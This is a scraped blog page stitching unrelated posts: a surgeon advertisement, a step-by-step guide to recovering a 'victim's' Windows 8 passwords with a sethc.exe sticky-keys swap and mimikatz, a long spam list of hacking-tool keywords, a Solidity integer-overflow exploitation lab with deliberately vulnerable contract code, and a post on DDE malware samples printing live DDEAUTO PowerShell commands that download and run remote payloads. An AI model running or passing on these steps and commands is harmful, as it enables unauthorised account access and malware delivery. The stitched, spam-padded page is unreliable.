Total Pageviews

Wednesday, 11 February 2026

Best shoulder replacement surgeon in Noida contact number 9654832287

Best shoulder replacement surgeon in Noida contact number 9654832287

Shoulder replacement surgeon, or shoulder arthroplasty, is a procedure where damaged parts of the shoulder joint are replaced with artificial components. It is performed to relieve pain and restore mobility in patients with severe shoulder joint conditions.

 

Indications

  • Osteoarthritis
  • Rheumatoid arthritis
  • Post-traumatic arthritis
  • Rotator cuff tear arthropathy
  • Avascular necrosis
  • Severe fractures of the shoulder

 

Types of Shoulder Replacement

1. Total Shoulder Replacement

Replaces both the ball (humeral head) and socket (glenoid)

Most common type

2. Partial Shoulder Replacement (Hemiarthroplasty)

Only the ball is replaced

Suitable for specific fractures

3. Reverse Shoulder Replacement

Ball and socket positions are switched

Used in severe rotator cuff damage or failed previous surgeries

 

Surgical Procedure

Performed under general or regional anaesthesia

Incision made in the front or top of shoulder

Damaged bone and cartilage are removed

Prosthetic components implanted and secured

Soft tissues and muscles are repositioned

Duration: 1 – 3 hours

 

 

 

Recovery and Rehabilitation

  • Hospital stay: 1–3 days
  • Arm immobilized in a sling
  • Pain managed with medications
  • Physical therapy begins within a few days
  • Gradual return to daily activities over weeks

Recovery Timeline

  • Light activities: 4–6 weeks
  • Full recovery: 3–6 months
  • Strength and range of motion improve with physiotherapy

 

Cost Of Treatment

The cost of Shoulder Replacement or Reverse Shoulder Replacement would be in the range of Rs. 1,50,000 - 250,000 depending on the type of hospital chosen and the type of implant. There are several types of implants available in the market. The FDA approved imported implants are costlier but have better functioning and better reliability. The hospital stay would be around 5 days and the patient will have to keep the arm in a sling for 4 weeks. The physiotherapy to strengthen the shoulder muscles would start 4 weeks after the surgery and would continue for a period of 3-4 months. Full mobility would be achieved within 6 months of the surgery. However the patient will be relieved of the consistent pain immediately after the surgery. Long term use of painkillers is bad for the kidneys and therefore getting the surgery done in order to get pain relief is a better option in the long run.

 

Dr Manoj  is  Orthopaedics, Joint Replacement and Arthroscopic Surgery at

Best shoulder replacement surgeon in Noida contact number You can book appointment with Vikas Gupta by calling on the number 9654832287 or by filling the form . The consultation can be done by visiting Best shoulder replacement surgeon in Noida contact number

or on phone by sending your reports through whatsapp on the number 9654832298.

www.plusify.in

info@plusify.in

https://maps.app.goo.gl/BUob1f1avDgAiA99A

 

 

Sunday, 28 January 2024

Cracking Windows 8/8.1 Passwords With Mimikatz



You Might have read my previous posts about how to remove windows passwords using chntpw and might be thinking why am I writing another tutorial to do the same thing! Well today we are not going to remove the windows user password rather we are going to be more stealth in that we are not going to remove it rather we are going to know what is the users password and access his/her account with his/her own password. Sounds nice...


Requirements:


  1. A live bootable linux OS (I'm using Kali Linux)(Download Kali Linux)
  2. Mimikatz (Download | Blog)
  3. Physical Access to victim's machine
  4. A Working Brain in that Big Head (Download Here)



Steps:

1. First of all download mimikatz and put it in a pendrive.

2. Boat the victim's PC with your live bootable Pendrive (Kali Linux on pendrive in my case). And open a terminal window

3. Mount the Volume/Drive on which windows 8/8.1 is installed by typing these commands
in the terminal window:

mkdir /media/win
ntfs-3g /dev/sda1 /media/win

[NOTE] ntfs-3g is used to mount an NTFS drive in Read/Write mode otherwise you might not be able to write on the drive. Also /dev/sda1 is the name of the drive on which Windows OS is installed, to list your drives you can use lsblk -l or fdisk -l. The third flag is the location where the drive will be mounted.

4. Now navigate to the System32 folder using the following command

cd /media/win/Windows/System32

5. After navigating to the System32 rename the sethc.exe file to sethc.exe.bak by typing the following command:

mv sethc.exe sethc.exe.bak

sethc.exe is a windows program which runs automatically after shift-key is pressed more than 5 times continuously.

6. Now copy the cmd.exe program to sethc.exe replacing the original sethc.exe program using this command:

cp cmd.exe sethc.exe

[Note] We made a backup of sethc.exe program so that we can restore the original sethc.exe functionality

7. With this, we are done with the hard part of the hack now lets reboot the system and boot our Victim's Windows 8/8.1 OS.

8. After reaching the Windows Login Screen plugin the usb device with mimikatz on it and hit shift-key continuously five or more times. It will bring up a command prompt like this





9. Now navigate to your usb drive in my case its drive G:




10. Now navigate to the proper version of mimikatz binary folder (Win32 for32bit windows and x64 for 64 bit windows)


11. Run mimikatz and type the following commands one after the other in sequence:

privilege::debug
token::elevate
vault::list

the first command enables debug mode
the second one elevates the privilages
the last one lists the passwords which include picture password and pin (if set by the user)









That's it you got the password and everything else needed to log into the system. No more breaking and mess making its simple its easy and best of all its not Noisy lol...

Hope you enjoyed the tutorial have fun :)

Continue reading


  1. Nsa Hack Tools Download
  2. Hacker Tools Linux
  3. Hack Rom Tools
  4. Hacker Tools Apk
  5. Pentest Tools Windows
  6. New Hacker Tools
  7. Hack Tools
  8. Android Hack Tools Github
  9. Hacking Tools Online
  10. Hack Tools Github
  11. Hacker Tools Free
  12. Pentest Tools For Ubuntu
  13. Hacking Tools
  14. Hack Tools Mac
  15. Pentest Tools Open Source
  16. Hack Website Online Tool
  17. Hacking Tools Kit
  18. Android Hack Tools Github
  19. Hacking Tools For Windows
  20. Hacker Tools For Windows
  21. Black Hat Hacker Tools
  22. Pentest Tools Port Scanner
  23. Nsa Hack Tools Download
  24. Pentest Tools Open Source
  25. Hacker Tools List
  26. Pentest Tools Tcp Port Scanner
  27. Hacking Tools For Windows Free Download
  28. Hacking Tools For Windows
  29. Hack Tool Apk
  30. Bluetooth Hacking Tools Kali
  31. Hack And Tools
  32. Growth Hacker Tools
  33. Pentest Tools Review
  34. Hack Apps
  35. Ethical Hacker Tools
  36. How To Install Pentest Tools In Ubuntu
  37. Hacking Tools 2019
  38. Pentest Tools Nmap
  39. Hacking Tools Kit
  40. How To Hack
  41. Hack Tool Apk No Root
  42. Pentest Tools Review
  43. Hacking Tools Mac
  44. Hacking App
  45. Pentest Tools For Android
  46. Pentest Tools Download
  47. Pentest Tools Nmap
  48. Hacking Tools
  49. Pentest Recon Tools
  50. Hacks And Tools
  51. Pentest Tools Windows
  52. Hacker Tools Apk
  53. Hacking Tools For Windows
  54. Pentest Reporting Tools
  55. Hacking Tools For Pc
  56. Pentest Reporting Tools
  57. Best Hacking Tools 2020
  58. Hack Tools For Games
  59. Hacker Tools
  60. Hacker Tools Mac
  61. Pentest Tools Apk
  62. Hacking Tools For Beginners
  63. Hacker Tools For Windows
  64. Tools For Hacker
  65. Beginner Hacker Tools
  66. Hack Tools Pc
  67. Install Pentest Tools Ubuntu
  68. Hack Tools Github
  69. Pentest Tools Tcp Port Scanner
  70. Best Hacking Tools 2020
  71. Hack Tools For Games
  72. Hacking Tools For Windows 7
  73. Hacking Tools Github
  74. Tools 4 Hack
  75. Hacking Tools 2019
  76. Android Hack Tools Github
  77. Hack Tools Online
  78. Hacker Tools For Ios
  79. Hacker Tools Apk Download
  80. Hack Tools Github
  81. Pentest Tools Kali Linux
  82. Pentest Tools For Mac
  83. Hacker Tools For Pc
  84. Pentest Tools Tcp Port Scanner
  85. Hacker Tools Mac
  86. Hack Tools Github
  87. Pentest Box Tools Download
  88. Hacker Tools For Ios
  89. Hacker Security Tools
  90. Pentest Tools Windows
  91. Pentest Tools For Mac
  92. Hacking Tools Online
  93. Ethical Hacker Tools
  94. Install Pentest Tools Ubuntu
  95. Computer Hacker
  96. Hacking Tools For Games
  97. Hacker Tools Free
  98. Pentest Recon Tools
  99. Hack Rom Tools
  100. Pentest Tools Website
  101. Hacking Tools For Mac
  102. Hacker Tools Free
  103. Hacks And Tools
  104. Hacker Hardware Tools
  105. How To Install Pentest Tools In Ubuntu
  106. Pentest Tools Website Vulnerability
  107. Hacker Security Tools
  108. Hackrf Tools
  109. Hack Apps
  110. Pentest Tools Website Vulnerability
  111. Hackers Toolbox
  112. Pentest Tools For Ubuntu
  113. Pentest Tools Open Source
  114. Ethical Hacker Tools
  115. Hackrf Tools
  116. Hacking Tools Hardware
  117. Tools For Hacker
  118. Pentest Tools Online
  119. Pentest Automation Tools
  120. Hacking Apps
  121. Hacking Tools Online
  122. Pentest Tools Url Fuzzer
  123. Pentest Tools Windows
  124. Hacker Search Tools
  125. Hacking Tools Github
  126. Hack Tools For Mac
  127. Pentest Recon Tools
  128. Hack Rom Tools
  129. Growth Hacker Tools
  130. Pentest Reporting Tools
  131. Pentest Tools For Android
  132. Hack Tools For Ubuntu
  133. Growth Hacker Tools
  134. Hack Tools For Pc
  135. Pentest Recon Tools
  136. Hacker Tools Hardware
  137. Pentest Tools
  138. Underground Hacker Sites
  139. Top Pentest Tools
  140. Pentest Tools Tcp Port Scanner
  141. Hacking Tools And Software
  142. Hacking Tools Software
  143. Hack Tools For Ubuntu
  144. Hacker Tools Mac
  145. Hacking Tools For Kali Linux
  146. Hacker Tools Windows
  147. Hacking Tools For Beginners
  148. Nsa Hack Tools Download
  149. Hacker Tools List
  150. Pentest Tools For Windows
  151. Hacking Tools Windows
  152. Hacking Apps
  153. Android Hack Tools Github
  154. Hacking App
  155. Hack Tools
  156. Hacker Tools Windows
  157. Hacker Tools Apk Download
  158. Hacker Tools Linux
  159. Top Pentest Tools
  160. Hacking Tools Software
  161. Hack Tools For Ubuntu
  162. Hacking Tools For Kali Linux
  163. Hackrf Tools
  164. Pentest Tools Kali Linux
  165. Nsa Hacker Tools
  166. Hack Tools Mac
  167. Hackers Toolbox
  168. Black Hat Hacker Tools
  169. Pentest Box Tools Download
  170. Pentest Tools Github
  171. Nsa Hacker Tools
  172. Hack Tools For Pc
  173. Hacking Tools Github
  174. Pentest Tools Free

Blockchain Exploitation Labs - Part 3 Exploiting Integer Overflows And Underflows




In part 1 and 2 we covered re-entrancy and authorization attack scenarios within the Ethereum smart contract environment. In this blog we will cover integer attacks against blockchain decentralized applications (DAPs) coded in Solidity.

Integer Attack Explanation:

An integer overflow and underflow happens when a check on a value is used with an unsigned integer, which either adds or subtracts beyond the limits the variable can hold. If you remember back to your computer science class each variable type can hold up to a certain value length. You will also remember some variable types only hold positive numbers while others hold positive and negative numbers.

If you go outside of the constraints of the number type you are using it may handle things in different ways such as an error condition or perhaps cutting the number off at the maximum or minimum value.

In the Solidity language for Ethereum when we reach values past what our variable can hold it in turn wraps back around to a number it understands. So for example if we have a variable that can only hold a 2 digit number when we hit 99 and go past it, we will end up with 00. Inversely if we had 00 and we subtracted 1 we would end up with 99.


Normally in your math class the following would be true:

99 + 1 = 100
00 - 1 = -1


In solidity with unsigned numbers the following is true:

99 + 1 = 00
00 - 1 = 99



So the issue lies with the assumption that a number will fail or provide a correct value in mathematical calculations when indeed it does not. So comparing a variable with a require statement is not sufficiently accurate after performing a mathematical operation that does not check for safe values.

That comparison may very well be comparing the output of an over/under flowed value and be completely meaningless. The Require statement may return true, but not based on the actual intended mathematical value. This in turn will lead to an action performed which is beneficial to the attacker for example checking a low value required for a funds validation but then receiving a very high value sent to the attacker after the initial check. Lets go through a few examples.

Simple Example:

Lets say we have the following Require check as an example:
require(balance - withdraw_amount > 0) ;


Now the above statement seems reasonable, if the users balance minus the withdrawal amount is less than 0 then obviously they don't have the money for this transaction correct?

This transaction should fail and produce an error because not enough funds are held within the account for the transaction. But what if we have 5 dollars and we withdraw 6 dollars using the scenario above where we can hold 2 digits with an unsigned integer?

Let's do some math.
5 - 6 = 99

Last I checked 99 is greater than 0 which poses an interesting problem. Our check says we are good to go, but our account balance isn't large enough to cover the transaction. The check will pass because the underflow creates the wrong value which is greater than 0 and more funds then the user has will be transferred out of the account.

Because the following math returns true:
 require(99 > 0) 

Withdraw Function Vulnerable to an UnderFlow:

The below example snippet of code illustrates a withdraw function with an underflow vulnerability:

function withdraw(uint _amount){

    require(balances[msg.sender] - _amount > 0);
    msg.sender.transfer(_amount);
    balances[msg.sender] -= _amount;

}


In this example the require line checks that the balance is greater then 0 after subtracting the _amount but if the _amount is greater than the balance it will underflow to a value above 0 even though it should fail with a negative number as its true value.

require(balances[msg.sender] - _amount > 0);


It will then send the value of the _amount variable to the recipient without any further checks:

msg.sender.transfer(_amount);

Followed by possibly increasing the value of the senders account with an underflow condition even though it should have been reduced:

balances[msg.sender] -= _amount;


Depending how the Require check and transfer functions are coded the attacker may not lose any funds at all but be able to transfer out large sums of money to other accounts under his control simply by underflowing the require statements which checks the account balance before transferring funds each time.

Transfer Function Vulnerable to a Batch Overflow:

Overflow conditions often happen in situations where you are sending a batched amount of values to recipients. If you are doing an airdrop and have 200 users who are each receiving a large sum of tokens but you check the total sum of all users tokens against the total funds it may trigger an overflow. The logic would compare a smaller value to the total tokens and think you have enough to cover the transaction for example if your integer can only hold 5 digits in length or 00,000 what would happen in the below scenario?


You have 10,000 tokens in your account
You are sending 200 users 499 tokens each
Your total sent is 200*499 or 99,800

The above scenario would fail as it should since we have 10,000 tokens and want to send a total of 99,800. But what if we send 500 tokens each? Lets do some more math and see how that changes the outcome.


You have 10,000 tokens in your account
You are sending 200 users 500 tokens each
Your total sent is 200*500 or 100,000
New total is actually 0

This new scenario produces a total that is actually 0 even though each users amount is 500 tokens which may cause issues if a require statement is not handled with safe functions which stop an overflow of a require statement.



Lets take our new numbers and plug them into the below code and see what happens:

1. uint total = _users.length * _tokens;
2. require(balances[msg.sender] >= total);
3. balances[msg.sender] = balances[msg.sender] -total;

4. for(uint i=0; i < users.length; i++){ 

5.       balances[_users[i]] = balances[_users[i]] + _value;



Same statements substituting the variables for our scenarios values:

1. uint total = _200 * 500;
2. require(10,000 >= 0);
3. balances[msg.sender] = 10,000 - 0;

4. for(uint i=0; i < 500; i++){ 

5.      balances[_recievers[i]] = balances[_recievers[i]] + 500;


Batch Overflow Code Explanation:

1: The total variable is 100,000 which becomes 0 due to the 5 digit limit overflow when a 6th digit is hit at 99,999 + 1 = 0. So total now becomes 0.

2: This line checks if the users balance is high enough to cover the total value to be sent which in this case is 0 so 10,000 is more then enough to cover a 0 total and this check passes due to the overflow.

3: This line deducts the total from the senders balance which does nothing since the total of 10,000 - 0 is 10,000.  The sender has lost no funds.

4-5: This loop iterates over the 200 users who each get 500 tokens and updates the balances of each user individually using the real value of 500 as this does not trigger an overflow condition. Thus sending out 100,000 tokens without reducing the senders balance or triggering an error due to lack of funds. Essentially creating tokens out of thin air.

In this scenario the user retained all of their tokens but was able to distribute 100k tokens across 200 users regardless if they had the proper funds to do so.

Lab Follow Along Time:

We went through what might have been an overwhelming amount of concepts in this chapter regarding over/underflow scenarios now lets do an example lab in the video below to illustrate this point and get a little hands on experience reviewing, writing and exploiting smart contracts. Also note in the blockchain youtube playlist we cover the same concepts from above if you need to hear them rather then read them.

For this lab we will use the Remix browser environment with the current solidity version as of this writing 0.5.12. You can easily adjust the compiler version on Remix to this version as versions update and change frequently.
https://remix.ethereum.org/

Below is a video going through coding your own vulnerable smart contract, the video following that goes through exploiting the code you create and the videos prior to that cover the concepts we covered above:


Download Video Lab Example Code:

Download Sample Code:

//Underflow Example Code: 
//Can you bypass the restriction? 
//--------------------------------------------
 pragma solidity ^0.5.12;

contract Underflow{
     mapping (address =>uint) balances;

     function contribute() public payable{
          balances[msg.sender] = msg.value;  
     }

     function getBalance() view public returns (uint){
          return balances[msg.sender];     
     }

     function transfer(address _reciever, uint _value) public payable{
         require(balances[msg.sender] - _value >= 5);
         balances[msg.sender] = balances[msg.sender] - _value;  

         balances[_reciever] = balances[_reciever] + _value;
     }
    
}

This next video walks through exploiting the code above, preferably hand coded by you into the remix environment. As the best way to learn is to code it yourself and understand each piece:


 

Conclusion: 

We covered a lot of information at this point and the video series playlist associated with this blog series has additional information and walk throughs. Also other videos as always will be added to this playlist including fixing integer overflows in the code and attacking an actual live Decentralized Blockchain Application. So check out those videos as they are dropped and the current ones, sit back and watch and re-enforce the concepts you learned in this blog and in the previous lab. This is an example from a full set of labs as part of a more comprehensive exploitation course we have been working on.

Related posts


Saturday, 27 January 2024

DDE Command Execution Malware Samples




Here are a few samples related to the recent DDE Command execution










Links updated: Jan 20, 2023


References


File information
List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 


File details with MD5 hashes:
Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b